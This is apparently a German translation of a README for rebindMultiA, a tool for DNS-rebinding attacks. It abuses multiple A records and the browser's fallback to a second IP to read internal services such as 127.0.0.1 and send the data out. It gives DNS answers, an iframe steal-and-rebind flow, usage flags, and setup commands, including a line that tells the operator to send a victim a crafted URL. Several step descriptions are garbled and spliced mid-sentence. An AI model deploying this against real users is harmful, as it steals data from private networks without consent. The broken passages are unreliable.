
DNS-Rebinding-Angriffstool, das mehrere A-Einträge ausnutzt, um die Same-Origin-Policy zu umgehen und Daten von internen Netzwerkdiensten über das Fallback-Verhalten des Browsers zu exfiltrieren.
rebindMultiA ist ein Tool zur Durchführung eines Multiple-A-Record-Rebind-Angriffs.
rebindmultia.com ist eine Domain, die ich eingerichtet habe, um bei diesen Angriffen zu helfen. Sie macht jede IP zu ihrem eigenen autoritativen Nameserver für die Domain [IP].ns.rebindmultia.com. Zum Beispiel ist der autoritative Nameserver von 13.33.33.37.ns.rebindmultia.com 13.33.33.37.ip.rebindmultia.com, der (wie Sie vielleicht erraten haben) auf 13.33.33.37 aufgelöst wird.
Der MultiA-Record-Rebind-Angriff ist eine Variante des DNS-Rebindings, die die Fähigkeit eines Angreifers ausnutzt, auf eine DNS-Anfrage mit zwei IP-Adressen zu antworten, sowie die Tendenz des Browsers, auf die zweite IP in der DNS-Antwort zurückzugreifen, wenn die erste nicht reagiert. Bei diesem Angriff konfiguriert der Angreifer einen bösartigen DNS-Server und zwei bösartige HTTP-Server. Der DNS-Server antwortet mit zwei A-Einträgen:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
Der Browser des Opfers stellt dann eine Verbindung zur ersten IP her und beginnt mit der Interaktion mit dem ersten bösartigen HTTP-Server des Angreifers. Dieser Server antwortet mit einer Seite, die zwei Iframes enthält, einen zu /steal und einen zu /rebind. Der /steal-Iframe lädt eine bösartige Seite, um in den zweiten Iframe zu greifen und den Inhalt zu holen. Der /rebind-Endpunkt führt bei Zugriff eine 302-Weiterleitung zu / durch und beendet den ersten bösartigen HTTP-Server. Infolgedessen trifft der Browser bei erneuter Kontaktaufnahme mit dem HTTP-Server des Angreifers auf einen geschlossenen Port. Daher greift er auf die zweite IP zurück. Sobald der Zielinhalt im zweiten Iframe geladen ist, kann der erste Iframe hineingreifen, die Daten stehlen und an den zweiten bösartigen HTTP-Server des Angreifers – den Callback-Server – exfiltrieren.
Dieser Angriff funktioniert nur in einer Windows-Umgebung. Linux und Mac verwenden standardmäßig zuerst die private IP, und der Server des Angreifers wird nie abgefragt.

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com auf.server.py) analysiert den angeforderten DNS-Namen und gibt zwei A-Einträge zurück: 13.33.33.37 und 127.0.0.1.server.py) und lädt die /parent-Seite, die zwei Iframes enthält./steal vom bösartigen HTTP-Server des Angreifers./rebind, was zu einer 302-Weiterleitung zu / führt (der HTTP-Server wird nach dieser Anfrage beendet).302 vom Server des Angreifers zu / weiter./ vom (inzwischen toten) HTTP-Server des Angreifers zu laden, scheitert jedoch.pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
Wenn Sie diesen Fehler erhalten:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
Dann müssen Sie eine neuere Version von Python verwenden. Python 3.7+.
Dies muss von einer öffentlich erreichbaren IP aus ausgeführt werden.
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py
127.0.0.1 auf. Er kontaktiert dann diesen Server und lädt die Seite im Iframe.steal-Iframe des Angreifers greift in den neu geladenen zweiten Iframe und holt den Inhalt.steal-Iframe des Angreifers sendet die Ergebnisse dann an den Callback-Server des Angreifers.